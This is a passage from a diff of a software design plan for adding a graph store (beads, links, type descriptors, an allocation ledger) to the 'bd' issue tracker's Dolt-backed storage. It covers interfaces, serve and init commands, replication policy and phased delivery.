`GraphCapable` becomes a completeness-guard root, +and the graph suite is a conformance family from the start (ruling 9 flips +the earlier "in-tree-only until opened" hedge). + +Graph-store persistence (substrate S1): new `beads`/`links` tables in the normal +migration series, **plus the Type Descriptor store**: descriptors are +persisted rows (not compiled-in Go values), because every Read Scope must +advertise `types/` and mutation authorities must retain the pinned +descriptor contract closure. That means: descriptor bootstrap at graph +initialization, an operator installation mechanism for new Types, closure +validation with fingerprint retention on install, and acceptance coverage +in each phase (P1 persistence + serving, P2 the pinned Type scenarios, +P3 write-time contract validation). Revision minting gated on semantic +change (no-op preserves revision); owned-Link version coupling enforced in +the write transaction. +Where this plan says "ledger" it now means exactly one thing: the GRAPH-STORE +allocation/tombstone table written inside graph write transactions (the +journal-counter pattern the tree already demonstrates). Ruling 3's +condition is a contract obligation: testing whether a canonical ID was +ever allocated is a keyed point lookup — O(1) or O(log n) — never a scan; +the ledger is keyed by canonical URL. The deleted +read-time revision ledger does not return; no projection ledger exists +because no projection exists. + +### The storage interfaces, concretely + +**The level at which this is defined (ruling 9):** the graph contract lives +at the **normalized storage abstraction** — the `backend/`-level contract — +and any storage provider realizing it is the graph store for the Scopes it +holds. Everything below that names Dolt, `withReadTx`, `NewUOW`, or +`RunTxRead` is the **in-tree reference realization**, not the definition: +other providers (bts-rs's stores, out-of-tree backends) implement the same +contract and pass the same graph conformance suite. + +How the graph attaches to the existing storage architecture, member by +member — and what changes where: + +**What exists (verified):** + +```text +storage.Storage (interface, 28 role accessors) ← contract; adding a + IssueLifecycle() / IssueReader() / ... / Memories() required method BREAKS + ▲ implemented by out-of-tree stores +*dolt.DoltStore (concrete) + ▲ wrapped by (each embeds + forwards the interface) +HookFiringStore → telemetry.Storage → ... ← methods OUTSIDE the + ▲ or, separately embedded interface +uow.UnitOfWorkProvider (RunTxRead/RunTx) are NOT promoted + ▲ consumed by +cmd/bd/serve role-source table ← one concrete hook peel, + telemetry KEPT, never + storage.UnwrapStore +``` + +**What is added (and precisely what is not):** + +1. **`storage.Storage` does not change.** No new required method — the + documented breaking-change policy holds. The graph capability is a + separate, optional interface: + + ```go + package graphops + type Store = GraphReadSource // v0 alias: the read surface IS the + // store; write roles widen it in P3 + + package storage + type GraphCapable interface { + BeadGraph() (graphops.Store, error) // error = operational failure, + } // never "unsupported" + ``` + + (`graphops` owns `Store`, `GraphReadSource`, `ReadSnapshot`, and + `Scope`; the UOW adapter satisfies them by constructing a + `ReadSnapshot` over the transaction a direct `NewUOW` owns, answering + `graphops.Scope` queries from that one transaction.) + + `*dolt.DoltStore` implements it concretely. Exposure policy, settled: + **in-tree-only for v0** — out-of-tree implementation arrives only when + the contract is deliberately opened (claim 6), not by accident of an + exported interface. "Unsupported" and "broken" stay distinct all the + way up: resolution returns `(GraphReadSource, error)` with a sentinel + `ErrGraphUnsupported`; any other error is an operational failure and + must not be collapsed into absence. + +2. **Decorators do not forward it.** Forwarding through every wrapper is + the failure mode the tree already documents. Instead, resolution does + what `bd serve` already does — targeted peels, telemetry retained: + + ```go + package graphsource // internal/storage/graphsource — see placement below + + func ResolveGraphReadSource(s storage.Storage) (graphops.GraphReadSource, error) + // Peels the known hook layer, then — because telemetry's wrapper + // embeds the statically typed DoltStorage, so an inner BeadGraph + // method is NOT promoted through it — inspects THROUGH telemetry, + // asserts GraphCapable on the inner store, and explicitly re-wraps + // the returned graph source in the telemetry layer it peeled. Never + // storage.UnwrapStore. The result names every peeled/rewrapped + // layer; ErrGraphUnsupported means absence, anything else is failure. + func ResolveGraphReadSourceFromUOW(p uow.UnitOfWorkProvider) (graphops.GraphReadSource, error) + // The UOW access path CANNOT ride RunTxRead — it closes its unit of + // work before returning. OpenSnapshot instead takes ownership of a + // direct NewUOW; ReadSnapshot.Close performs the rollback/close. + ``` + + Graph reads carry the same telemetry issue reads carry — by explicit + re-wrap, not by promotion. + +3. **The one genuinely new storage primitive: the snapshot lease.** + Existing read helpers are per-call — `withReadTx` opens and closes a + transaction inside each role call, which is exactly why they cannot + serve BDP snapshot semantics. `GraphReadSource` therefore exposes: + + ```go + package graphops // owns Store, GraphReadSource, ReadSnapshot, Scope + + type GraphReadSource interface { + OpenSnapshot(ctx context.Context) (ReadSnapshot, error) + } + type ReadSnapshot interface { + Scope // unqualified: same package; all reads + Close(ctx context.Context) error // answer from ONE transaction + } + ``` + + The RESOLVERS live in a neutral assembly package, + `internal/storage/graphsource` — a SEPARATE package (not package + `storage`): it imports `storage`, `uow`, and `graphops`, and nothing + imports it back except composition roots (`bd serve`, tests). This is + forced, not stylistic: `uow` already imports `storage`, so placing the + provider-arm resolver in package `storage` itself would create a + `storage → uow → storage` cycle. `GraphCapable` stays in `storage` + (returning `graphops.Store`; `storage → graphops` is a leafward + import); the resolvers qualify every foreign type. + + A snapshot is request-scoped, and **`ScopeResolver` is its one owner**: + it selects workspace, authorization view, and opens the snapshot; the + handler receives and uses it; the resolver closes it when the response + is written. This is a new *lifetime* discipline, not a new engine + feature — the same Dolt/SQL transaction machinery `withReadTx` uses, + held open for the request instead of per call. Two P1 design items + with tests: pool interaction (a leaked snapshot must not pin a + connection indefinitely), and **detached, bounded close** — rollback + must run on a fresh bounded context, never the request context, which + may already be cancelled (the tree documents that rolling back on a + cancelled context burns the pinned connection). + +4. **Schema machinery: normal series, no special cases.** Graph tables + (beads, links, type descriptors, allocation/tombstone ledger) are + ordinary migrations in the existing series, subject to the existing + version gate (older binary refuses newer DB — §1's contract). No + changes to the migration framework itself; the ruling-13 fence triggers + are DDL in the same files, shipped through the unchanged runner (probed: + one multi-statement `Exec` creates `BEGIN … END` trigger bodies over the + tree's `multiStatements=true` DSN). + +5. **`bd serve` gets a separate OPTIONAL graph field, not a role-table + entry.** The existing role binding table is deliberately mandatory — + it aborts on any binding error, and the HTTP layer rejects partial + role sets — so BDP cannot join it as one more ordinary binding. + Instead: an optional graph source on the server config, populated at + assembly by the source-appropriate resolver (store arm or UOW provider + arm), with a conditional route-registration seam. `ErrGraphUnsupported` leaves BDP routes + unregistered (existing serve behavior exactly as before); an + operational error still aborts; and capability-present-but-no-Scope- + yet is a THIRD state with its own explicit representation — per + ruling 12 as amended by A2, `bd --graph-mode link serve` mints the Scope + on first serve under a configured URL and serves it honestly empty; plain + `bd serve` never mints and mounts only an already-minted held Scope; without a configured URL there + are no BDP routes — never conflated with capability absence. The optional field is populated via the source-appropriate + resolver (`ResolveGraphReadSource` for the store arm, + `ResolveGraphReadSourceFromUOW` for the provider arm — `serve.go` + assembles from both). + +6. **`backend/` (all providers): public from P1, precise about the + existing machinery.** Today `RunAll` never exercises the optional + capability families — `RunUnsupportedContract` proves their typed + refusals instead. The graph contract arrives as its own suite beside + them (the P1 graph-storage conformance suite) with a refusal contract + for non-capable stores; `GraphCapable` is a completeness-guard ROOT and + `graphops` types carry public aliases from P1, because providers other + than Dolt are first-class targets (ruling 9), not a later opening. + +7. **`issueops`, the journal, sync, and every legacy role: untouched.** + The graph store is a sibling under the same DoltStore, not a layer + over the issue roles — with the projection withdrawn, nothing in the + graph path calls them at all. + +### Lifecycle commands (ruling 12) + +> **Spelling as ruled 2026-09-07 (A2/A3/A6):** `bd bdp-serve` (now `bd --graph-mode link serve`) → +> `bd --graph-mode link serve` (the strict, minting command over the same +> `httpapi` server; `bd serve` mounts the BDP rows only when it holds an +> already-minted Scope); graph behavior is selected by the root flag +> `--graph-mode link|dependency`, never by a verb prefix; `bdp.scope_url` +> lives in tracked `config.yaml`, the per-workspace `link-graph.route` and +> `bdp.server` in untracked `config.local.yaml` (nothing in `metadata.json`). Detail: +> `BDP_GRAPH_CLI_AND_STORAGE_SPEC.md` Part A. + +Three commands, three responsibilities — the store, the Scope, and the +client: + +1. **`bd init` initializes the graph store** alongside everything it + initializes today: graph tables, the allocation/tombstone ledger, and the + Type Descriptor bootstrap, all against the normalized storage interfaces + (any provider). No separate `bd graph init`. A workspace therefore always + has a graph store; it does not yet have a *Scope*. +2. **`bd --graph-mode link serve` creates the BDP Scope on top of the store; `bd serve` + serves an already-minted Scope it holds** (as ruled 2026-09-07, + A2/A7/A9): on its first serve under a configured `bdp.scope_url` (ruling + 7a) `bd --graph-mode link serve` mints the Scope row, the `mint` ledger event, and the + built-in Type catalog in one **multi-phase, fenced** transaction (a shared + database: the dolt-ignored authority lease with its fence cell; a + configured remote — *deferred under A9*: fetch → ancestor check → scoped + commit → push), finalizes this workspace's + authority witness, and serves the Scope — honestly empty at birth, with + `beads/`, `links/`, and `types/` all present. Because the Scope URL is a + tracked project fact, **among serving commands, only `bd --graph-mode link serve` mints**: a plain `bd serve` on + an unminted store keeps the legacy surface up with a notice. BDP routes + are a conditional second table inside `internal/httpapi` behind the same + middleware, in v0 served only from SQL-server workspaces — the + unit-of-work leg (`bd serve` refuses embedded Dolt permanently; a + registered backend's store arm has no fence to offer, so its rows are + absent until it declares one). The mint runs as the spec's one staged startup sequence (shared read + → release → exclusive only when there is no Scope row → release → + shared serve). `bd serve` with no configured URL is + byte-identical to today; on a workspace that does not hold the authority + it keeps the legacy surface up with the BDP rows absent and a notice — + never a startup refusal on account of the graph. `bd --graph-mode link serve` refuses + (exit 2) in those cases. No development-mode URL derivation exists in + bd. (W2 decides whether `bd --graph-mode link serve` survives as the alias — default + yes; it is the serving minting path.) +3. **Client wiring — `bd init --bdp-server ` and `bd --graph-mode link client`** + (as ruled 2026-09-07, A6): one more `bd init` target, beside + `--server`, `--shared-server`, `--proxied-server`, `--team-server`, and + `--backend`, distinguished by rerouting ABOVE the normalized storage + abstraction (at the CLI): the link-mode read verbs become a BDP client of + the designated server. The per-workspace keys live in the untracked + `config.local.yaml`; the project fact lives in tracked `config.yaml`: + + ```yaml + # config.yaml (tracked) + bdp: + scope_url: https://beads.example/acme/ # what the authority mints/serves (7a) + # config.local.yaml (untracked, machine-specific; merged over config.yaml) + bdp: + # (link-graph.route: local | server, default local — the client route) + server: https://beads.example/acme/ # graph-verb target when client: server + ``` + + `bd init --bdp-server ` and `bd --graph-mode link client server --server ` + write `config.local.yaml`; generic `bd config set` refuses the + per-workspace keys with that guidance. Env: `BDP_SCOPE_URL` (7a) and + `BD_BDP_SCOPE_URL`; `BD_BDP_SERVER`; **`link-graph.route` is blocked from env** + like `backend`. The bearer token comes from a file only — + `BEADS_BDP_TOKEN_FILE` or a credentials-file section keyed by origin and + Scope path — never from an environment variable and never from a config + key. Precedence: env (where permitted) > `config.local.yaml` > + `config.yaml`; `metadata.json` carries nothing for the graph. `client` + is an explicit mode, never inferred from the presence of a URL. Issue + verbs are untouched. v0 routes graph verbs only. + +### Replication participation matrix (review High 4, corrected round 2) + +Each row is policy decided in P-1, not discovered in CI. "Byte-identical +legacy behavior" scopes to **legacy-only data and operations**; rows are +split by topology where the tree differs: + +| Surface | Legacy behavior (verified) | Graph-store policy (ruled; §9) | +| --- | --- | --- | +| Dolt push/pull (server + embedded) | rows travel; embedded pushes directly | graph rows travel identically | +| Merge settlement | `versioncontrolops/mergesettle.go` already settles metadata, dependencies, migrations, config, issues, labels, comments, and events, with seven-table FK-cascade repair — conflict dispatch is a hard-coded switch, separate from an always-considered FK-repair pass; NOTE `MergeWithStrategy` returns early on clean merges and plain `Merge` bypasses settlement entirely | graph settlement must be **centralized so every merge entry point runs it** (clean-merge early-returns and plain `Merge` included — enumerate or funnel the routes): identity/endpoint integrity, dangling-Link detection, owned-Link invariant validation. A pass can reject or quarantine invalid imported state; it CANNOT serialize two independently accepted `max`-violating writes after the fact — hence decision 9: BDP writes flow through one serving authority per Scope, and foreign-clone merges of graph tables are out-of-contract (quarantined on detection); **ruling 14 (2026-09-07) settles this row:** every SQL pull route fetches, inspects the eight graph tables against the tracking ref, and refuses a foreign or unexplained delta before merging; routes that cannot inspect first fall to the validator's revert; no graph-table conflict is auto-resolved and `--strategy` never touches one | +| Federation type-filtering | **server-topology-specific**; deletes `issues` rows by type | v0: graph tables ride federation **unfiltered, by decision** (rulings 9/14); a per-topology filter hook is post-v0, and filtering one endpoint must also drop/deny the Link (never emit a dangling edge) | +| Journal (frozen v0 vocabulary) | Issue/Dependency/Comment payloads only | **graph events are excluded**; a separate graph changefeed carries them; the frozen vocabulary is not extended | +| Export/JSONL (contract class) | contractual shapes | graph gets its own export lane; legacy shapes untouched | +| Backup / restore | whole-database state (a different contract class from export); a Dolt backup restore carries the working set, dolt-ignored tables included (probed) | ruling 11 as amended by A5 (ruled 2026-09-07): the installation-keyed authority witness (`.beads/graph-authority.local.json`) records the hash-chained ledger head; a restore keeps the file but the store no longer contains that head → refused until `bd --graph-mode link restore`, which shows continuity from a `bd --graph-mode link ledger snapshot` (recovery predicate) or rotates the Scope URL and epoch; providers DECLARE `LedgerDurability`; `bd backup restore` also marks the witness unverified | +| Wisps | private/transient; excluded from export/federation by default | **ruling 6:** not served in v0 (C-lane note) | + +## 5. Thrust 3 — Issues/Dependencies beside the graph + +### The seam decision (HISTORICAL — C-lane record; superseded for v0 by +the withdrawal below) + +What follows is preserved as design input for the C lane, not v0 scope. +Option A (projection port + union composite) over B (peer interfaces on the +structs), C (storage unification now), D (call-site switches) — with the +review's correction adopted: the union is the *representation* seam only, +subordinate to the outer authority seam, snapshot-scoped, and: + +- **Duplicate full Resource ID across legs is an integrity error, never + precedence.** The v1 "native first, then legacy" shadowing is withdrawn. +- **Namespace AND ledger — they answer different laws (round-2 + correction):** a reserved graph-store namespace prevents *collisions*; it does + nothing for *lifetime identity non-reuse* (a deleted projected Issue ID + must never be reassigned — BDP's no-URL-reassignment law survives + deletion and epoch changes). So: namespace disjointness for allocation, + PLUS a durable allocation/tombstone guarantee behind every exposed URL, + graph-store and projected — covering legacy import's same-ID UPSERT and + Dependency delete/recreate reuse. And an **eligibility policy for legacy + IDs** (P-1): an issue ID that is not a canonical BDP path segment is + omitted, mapped to a stable surrogate, or fails Scope projection — ruled, + not improvised (current validation checks prefix shape, not BDP grammar). +- **Cross-realization Links** (C-lane decision when projection returns): + if a graph Link may target a projected Issue, every legacy deletion + needs a graph coordinator hook (else dangling edges); if forbidden, the + Type constraints must say so. Moot in v0 — nothing legacy is served. +- Multi-repo routing stays where it is — `ScopeResolver` wraps the existing + owning-store resolution; the union never spans stores. + +### The substrate decision (SETTLED for v0: S1) + +S1 (new tables) is the v0 substrate — with the projection withdrawn there +is nothing for a chassis substrate to buy: S2's free-rider argument was +chassis sync for *legacy interop*, and v0 has none. The historical +scorecard stands as C-lane input: S2 fails conformance on three laws +(`depid` admits one edge per endpoint pair — no type, no multiplicity; +Dependencies carry no revision; dependency edits don't version the +source); S2-lite was the fallback only while a projection existed. + +**Current-source qualification (2026-09-09):** the dependency-writer statement +above describes that historical substrate. Jim's Phase 2 now versions the +referencing Issue when an outgoing dependency changes and captures its complete +outgoing dependency set. Its current limits and the BDP translation boundary +are recorded in §0a above; this progress does not turn Dependencies into +first-class BDP Links or reverse the ruled v0 projection withdrawal. + +### The Issue projection is withdrawn from v0 (round-5 conclusion) + +The conflict inventory in §2b is the full map; rounds 3–5 tested every +read-side fidelity mechanism against it, and each fell to tree +counterexamples: + +- **State tuples** (r3): label add→remove recreates the tuple; direct text + restoration moves only second-granularity `updated_at`. +- **Read-time witness ledgers** (r4): witness reads, not transitions — + legacy A→B→A between reads serves the old revision. +- **Complete-representation state hashes** (r5): `updated_at` is + second-precision `DATETIME` and the tree documents same-second ties, so + A→B→A within one second reuses the hash; `bd import --allow-stale` + deliberately restores old rows including `updated_at`; `bd sql` permits + arbitrary direct writes no witness can enumerate; merge resolution and + backup restore reinstate historical rows. +- **Birth-identity URLs** (r5): same-second recreation collides; import + accepts caller-supplied historical `created_at`; import-over-existing + does not converge `created_at` across replicas; rename A→B→A reactivates + the original URL; database restore resurrects old tuples. BDP's + never-reassign law cannot be met. +- **Type immutability** (r5): legacy `issue_type` is ordinarily mutable; + BDP declared Types are immutable. + +The historical round-5 assessment was: mutation-time witnessing — the only +remaining mechanism — would require instrumenting every legacy write path +including `bd sql`, which is +arbitrary SQL and cannot be completely instrumented even in principle. +The conclusion is structural, not incremental: **a store that permits +timestamp ties, stale restores, arbitrary SQL, and identity resurrection +cannot be projected into BDP's revision and identity laws by any read-side +mechanism.** Current-source qualification (2026-09-09, §0a): Jim's writer +now versions 21 of 34 listed live paths, including outgoing dependency edits; +this is mutation witnessing, distinct from the old `row_lock` survey. Unchanged +re-import currently mints, UOW can mint per repository write, and raw SQL, +restore and merge-settle remain outside that witness contract. This progress +does not prove complete BDP translation or change the historical conclusion +about read-side reconstruction. So v0 withholds the projection: + +- The v0 BDP Scope serves **graph beads and links only**. +- Issues keep their existing surfaces (CLI, REST v0, JSONL) untouched. +- Issues join the graph when storage unification (Option C) moves them + into the graph store — where operation-local revisions and durable + identity are properties of the write path, not reconstructions. The + union composite and this section's counterexample record are the design + input for that future lane. +- The `unionscope`/`issueproj` machinery drops out of v0 scope; the + authority seam (`ScopeResolver`: workspace, view, one ReadSnapshot) and + `GraphReadSource` remain — they serve the graph store. + +### The C lane: paths to Issues/Dependencies on the graph (informative) + +Operator direction (2026-09-02): the withdrawal stands for v0, and the C +lane should be sketched now. The round-3–5 counterexamples fix the shape of +the solution space: **uniform versioning requires that every mutation +either funnels through one write path or is completely observed at the +storage layer.** Read-side reconstruction is proven impossible. That yields +three paths: + +- **C1 — Funnel with a legacy compat shim** (the operator's sketch): Issues + and Dependencies become graph beads/links; the legacy surfaces (CLI + verbs, REST v0, JSONL, journal, sync) are reimplemented as a compat + adapter OVER the graph store, reproducing legacy behavior byte-for-byte. + Versioning is uniform because every mutation goes through the graph store's + write path. The crux is what "keep the current code path" means at the + storage layer: if legacy code keeps writing legacy TABLES, the bypasses + persist and uniformity fails; so C1 means legacy *behavior* preserved + over graph *storage* — and the hard cases are exactly the round-5 + killers re-specified deliberately: `bd sql` (verification task: whether + Dolt supports legacy-compatible updatable views that can route DML + through graph revision/tombstone semantics — else direct SQL is + re-scoped), import `--allow-stale` (becomes a versioned operation), + backup/restore (restores history, not just state; decision 11). The + wisp precedent (plane routing at storage, surfaces unchanged) is the + house style for this move. +- **C2 — Observe: a complete mutation feed at the storage layer**: legacy + tables remain the record for legacy surfaces; a storage-level observer — + DB triggers on the legacy tables feeding a transition log in the same + transaction — would give the graph per-operation revisions and + tombstones without touching legacy code paths, and would be the only + observation variant that survives round 5 IF the following verification + tasks all pass (the original C2 survey did not establish them): (a) Dolt + trigger availability and transactional semantics; (b) whether direct `bd sql` DML actually + fires them (noting `bd sql` is unavailable in embedded mode and runs via + direct SQL-server or proxied-server paths — and UOW is an access path, + not a third storage engine); (c) trigger-row behavior under replication, + merge, and restore; (d) Scope URL/epoch handling after restore + (decision 11). Current-source qualification (2026-09-09, §0a): the graph + fence probes and Jim's application-level version writer are later evidence + with their own scopes; neither proves this complete legacy observer. Build + on the current writer/inventory rather than repeating a claim of no mutation + witnessing; raw SQL, restore and merge-settle coverage still needs proof. +- **C3 — Cutover**: one-time migration, graph store becomes the only + store, legacy tables dropped or frozen read-only. Maximum uniformity, + no dual bookkeeping, maximum one-shot risk; `bd sql` compat ends or + becomes views. Realistic only after C1's compat adapter exists and has + soaked — C3 is C1 minus the legacy tables, not an alternative to it. + +Sequencing implication: C1 and C3 share the compat-adapter investment; C2 +is the only path that leaves legacy storage untouched. A future C-lane +ruling chooses funnel (C1→C3) vs observe (C2) — and none of it blocks or +changes v0. + +## 6. Addressing + +One workspace = one Scope. Scope URL scheme is a P-1 decision (config key +vs derived). Graph-bead IDs mint under BDP creation-time rules (supplied +multi-segment or generated flat, reject-don't-trim) against the graph-store +allocation/tombstone ledger. No legacy IDs are served in v0. + +## 7. Phasing (re-sequenced per review; each phase exits green) + +> **Names in this section are superseded** (`GraphCapable`, +> `GraphReadSource`, `graphsource`, `bd bdp-serve` (now `bd --graph-mode link serve`), `bd bead`/`bd link` +> verbs): read them through `BDP_GRAPH_ARCHITECTURE.md` §2. Phase +> *boundaries* stand: P0 contracts + pinned wire, P1 storage (roles, +> bodies, migrations, conformance; the replication/merge ADR is a P1 +> gate), P2 serving (BDP rows inside `httpapi`; collection routes after the +> cursor ADR), P3 writes. **P0 is open (A1–A9 and rulings 13–14 ruled 2026-09-07).** + +- **P-1 — Decisions and pins (no code):** charter ADR; ratify the + projection withdrawal (v0 Scope = graph store only); Scope URL/identity; + graph-store allocation/tombstone design; serving authority; replication + matrix rows; auth-view mapping for bearer-token reality; + listener/authority-semantics choice. (The BDP pin is already written in + §0.) *Exit: every row ruled by Donna, recorded in this doc.* +- **P0 — Contracts:** wire DTOs held to the pinned schema by tests (hand-written, Part D.3); immutable + domain values (`Properties`, `Ref` sum, records); pure validators; typed + error vocabulary; the three ruling-13 verification rows — **answered + 2026-09-07: PASS / PASS-WITH-RULE / PASS-WITH-RULE** + (`engdocs/BDP_P0_VERIFICATION_ROWS.md` on the P0 branch; the fence + ships, with the rules spec B3/B4 now record). *Exit: model laws 100% + table-tested; DTO round-trip against pinned schema fixtures; the three + rows answered.* **Met against the historical §0 pin on 2026-09-07** on `janet-beadgraph-p0` (council 11: + three reviewers, all findings folded; graphops 100% statement coverage; + bdpwire 94%). This is historical completion only; §0a and the owner gates + below govern current-wire completion and later serving claims. Contracts-only + P0 promotion must name that scope and its remaining gates; it is not a graph + capability/readiness or upstream merge grant. +- **P1 — Graph read storage (S1):** the replication/merge ADR first + (ruling 14: `engdocs/BDP_GRAPH_REPLICATION_ADR.md`, council-reviewed; no + graph migration merges before it); record the A10 solo mint trigger and + workspace-gate ↔ lease-predicate mapping (architecture §2b) before wiring + the embedded leg; then tables + migrations (descriptor + store and the ruling-13 fence triggers included); typed snapshot-source resolution (`GraphReadSource`) + with single-request snapshot consistency and the zero-legacy-writes + regression (defer-wake); the resolver pair across the storage legs — + `ResolveGraphReadSource` for server/embedded Dolt (embedded as + storage-contract leg), `ResolveGraphReadSourceFromUOW` for the UOW + access path — with decorator regression tests; an internal, non-BDP + bootstrap/fixture write API (the only writer until P3) enforcing the + allocation/tombstone ledger; replication-matrix gates. *Exit: a NEW + graph-storage conformance suite — defined in this phase under + `backend/conformance`, enumerating the storage contract (snapshot + isolation, ordering, ledger enforcement, descriptor persistence) — + green on all legs (descriptor persistence AND inventory serving + included); cross-request cursor stability is explicitly NOT a P1 + claim.* +- **P2 — Protocol Read over the graph store:** snapshot-bound cursors — + including the **cross-request continuation mechanism** BDP requires + (later requests continue the same selected set, projection, and + revisions): a durable snapshot registry, materialized result sets, or + Dolt `AS OF` identity surviving through cursor expiry — chosen by ADR in + this phase; BDP handler through the existing middleware path + (auth/project/deadline semantics preserved); run the external BDP Read + matrix **deliberately re-pinned under §0** as a target. *Exit: that + successor matrix green, the applicable owner gates below complete, with its + own provenance split honored — packaged rows proven at the packaged + public boundary, self-certified in-process rows via the in-process lane + and labeled as such (the pinned artifact is explicit that they are not + black-box conformance) — plus a beads-owned public-boundary + cursor-stability test across requests.* +- **P3 — Writes and CLI, gated on its own ADR AND on upstream spec + artifacts:** the pinned write-profile envelope (an owned-Link mutation's + result must also report the source Bead's resulting revision), the + owned-Link Event delta, AND the sequence/idempotency envelope schemas, + problem rows at the reviewed write-profile pin recorded in §0 before P3. + At the historical §0a draft pins, #19 already has + [`packages/conformance/catalog/read-update-v1.json`](https://github.com/gastownhall/bdp/blob/06ebabdb391d8ea730295f4e01ed00bc1206fe38/packages/conformance/catalog/read-update-v1.json) + and illustrative [`fixtures/read-update/`](https://github.com/gastownhall/bdp/tree/06ebabdb391d8ea730295f4e01ed00bc1206fe38/fixtures/read-update); + #20 has [`packages/conformance/catalog/transactional-v1.json`](https://github.com/gastownhall/bdp/blob/5c3f3b10a2edbb77d914b7260cdf035008fc34c7/packages/conformance/catalog/transactional-v1.json) + and illustrative [`fixtures/transactional/`](https://github.com/gastownhall/bdp/tree/5c3f3b10a2edbb77d914b7260cdf035008fc34c7/fixtures/transactional). + These are catalog metadata and illustrations, not executable write matrices + or observed runtime evidence; those remain pending at these pins. The + shared HTTP ACKs are materialized in merged #20; this phase must adopt + their reviewed result and supply its own runtime evidence. + Profiles are **Scope-wide** + (uniformity law), and the Event-delta gate binds exactly the profile + that has Events: a Scope containing owning Types cannot advertise the + **Transactional** profile until the owned-Link Event delta exists — + Read+Update has no Events and is not blocked by it — and this is a + Scope-level gate, not a per-Type advertisement. Write tests require: create/property-update + mint fresh Link AND source revisions; **deletion mints nothing for the + deleted Link** — its result reports the deleted identity plus the + source's fresh revision; the deleted identity carries the Link's final + live revision, agreeing with `DeletedData` and changefeed tombstones + ([#20 Mutation results](https://github.com/gastownhall/bdp/blob/5c3f3b10a2edbb77d914b7260cdf035008fc34c7/docs/specs/bdp.md#L3328-L3347)); target revision + unchanged throughout; both surviving revisions preserved on semantic + no-op. Then tombstones, + endpoint constraints, replication of writes; only then + `bd bead`/`bd link` verbs. *Exit: the pinned write-profile conformance + artifacts green when they exist upstream, plus beads-owned transaction, + identity/non-reuse, deletion-result, installed-Type-contract + validation, and replication tests at the public boundary.* + +### Current-wire and profile adoption gates (2026-09-09) + +Owners below are phase responsibilities within this plan (janet's graph work); +BDP owns the upstream source/evidence products. A row is an exit condition, +not evidence that work has run unless a dated satisfaction record is stated. +The first three exits are satisfied at the §0 `19923f5b` adoption; they remain +prerequisites for a later repin. Preserve the historical P0 result above. + +| Work / owner | Phase and prerequisite | Required exit before the corresponding claim | +| --- | --- | --- | +| Read successor pin — P0 wire owner | P0 current-wire completion; reviewed upstream Read cohort | Satisfied at the §0 `19923f5b` adoption. On subsequent repins: record the selected spec/bundle/projection and matrix pins in §0, honoring #24's named projection and actual successor provenance. Never relabel old observations or import the whole TX bundle as Read. | +| Wire parity — P0 wire owner | Same P0 successor adoption | Satisfied at the §0 `19923f5b` adoption. On subsequent repins: update vendored provenance, bundle, examples, fixtures, matrix references and DTO parity together; replace the obsolete wildcard-rejection tripwire with the successor's applicable wildcard contract checks. | +| Erased-problem boundary — P0 wire owner | Same P0 successor adoption | Satisfied at the §0 `19923f5b` adoption. On subsequent repins: port #27's narrow `resource-erased` pointer prohibition with focused Go boundary checks, preserving harmless RFC 9457 extensions. | +| Response negotiation — P0 wire / P2 serving owners | Reviewed materialization of the shared HTTP ACK; P0 captures the contract, P2 serves it | Body-less 406 for unsupported response media and its normal failure/auth non-disclosure precedence are represented and tested at the Go HTTP boundary before current serving claims. | +| Applicable conditionals — P0 wire / P2 serving owners | Same reviewed HTTP materialization; apply only to the endpoints/profiles that use it | Preserve the selected native body-less 304/412 behavior, validation precedence and normal response metadata; do not substitute a BDP revision conflict. Prove the Read endpoint behavior at the public boundary; receipt/feed validator policy belongs to its P3 profile. | +| Read execution — P2 serving owner | Above applicable P0 contracts and the re-pinned Read matrix | Fresh applicable Go public-boundary observations, provenance-labelled in-process rows and the beads-owned cross-request cursor check; old P0 probes are not successor observations. | +| Selected write profile — P3 owner | Reviewed §0 write pin and P3 delta ADR | Adopt applicable admission, results and recovery contracts and approved HTTP successors; prove the selected profile's executable conformance and beads-owned exits. RU does not wait for TX-only receipts, Events or erasure-feed implementation. | + +A contracts-only P0 may land with the adopted §0 wire pin after its hosted +review and landing gates. The later completion owners remain explicit: +current-serving contract claims wait for the applicable remaining P0 rows; +Read serving claims also wait for P2. Neither requires all TX runtime or Jim's +remaining phases. A future Issue/History integration still needs its §0a +translation proofs; no new interface, table, capability or upstream merge +permission is selected by assigning these gates. + +## 8. Related workstreams (operator direction 2026-09-02) + +This plan covers the graph store and its Read serving. Sibling workstreams, +each owning its own writeup: + +- **W-arch** — `BDP_GRAPH_ARCHITECTURE.md` and + `BDP_GRAPH_CLI_AND_STORAGE_SPEC.md` (v17, 2026-09-12; v16: 2026-09-10; v15: 2026-09-09; + v14: 2026-09-02), eight council rounds with live Dolt probes; A1–A9 and + decisions 13–14 ruled 2026-09-07, with A10 ruled 2026-09-08 and recorded + in §9. + Preceded P0 code; P0 is open. +- **W1** — flesh out the **Update and Transactional profiles** of BDP and + the reference implementations (the protocol is Read-heavy today); this is + the upstream gate for P3 writes. +- **W2** — `bd --graph-mode link serve` / `bd serve` integration (as ruled 2026-09-07, + A2: one server, a conditional BDP route table): decide whether the + strict alias survives, whether BDP rows contribute a capability token, + and whether the current HTTP surface moves; nothing to fold in. +- **W3** — **inventory of bead types and generation of Bead/Link Types** — + in the beads repo, not bdp; feeds the descriptor store's bootstrap + catalog (§4). + +## 8a. Process + +All work on `feat/bead-graph`; slices land by PR with adversarial +convergence; the feature branch merges to main only at phase exits behind a +differential gate proving same-version legacy behavior unchanged. Spec +changes go to gastownhall/bdp first — this plan's §0 pin is the enforcement +of that. + +## 9. Decisions requested from Donna (the P-1 list) + +1. **Charter — RULED (2026-09-02): core.** The charter amendment FOLLOWS + working bits (the maintainers' own precedent: the charter file changes + when implementation lands). Its scope: *the bead graph expands to + include non-work-tracking information* (wisps being the existing + example) — a generalization of what beads already is, not a second + product surface. +2. **Substrate — RULED: S1** (graph tables: beads, links, Type + Descriptors, allocation/tombstone ledger, authority marker). +3. **Allocation/tombstone ledger — RULED:** append-only allocation record + per committed canonical ID (URL, birth authority id, epoch, + tombstoned-at), consulted before every create and by restore; + condition accepted as a contract obligation — the ID test is a keyed + point lookup, O(1)/O(log n), never a scan. (Namespace-vs-issue-grammar + and legacy-ID eligibility move to the C lane with the projection.) +4. *(Moved to the C lane — cross-realization Links cannot arise in v0; + see §5's historical record.)* +5. **Projection withdrawal — RULED: ratified.** The v0 Scope serves graph + beads and links only; Issues, Dependencies, and wisps keep their + existing surfaces and join via the C lane (wisps inherit every Issue + counterexample — they are plane-routed Issues). +6. **Wisps — RULED:** moot for v0 serving; recorded as a C-lane + *visibility* decision (wisps are private/transient by default today, so + their eventual graph entry needs a visibility ruling, not just plane + routing). +7a. **Scope URL 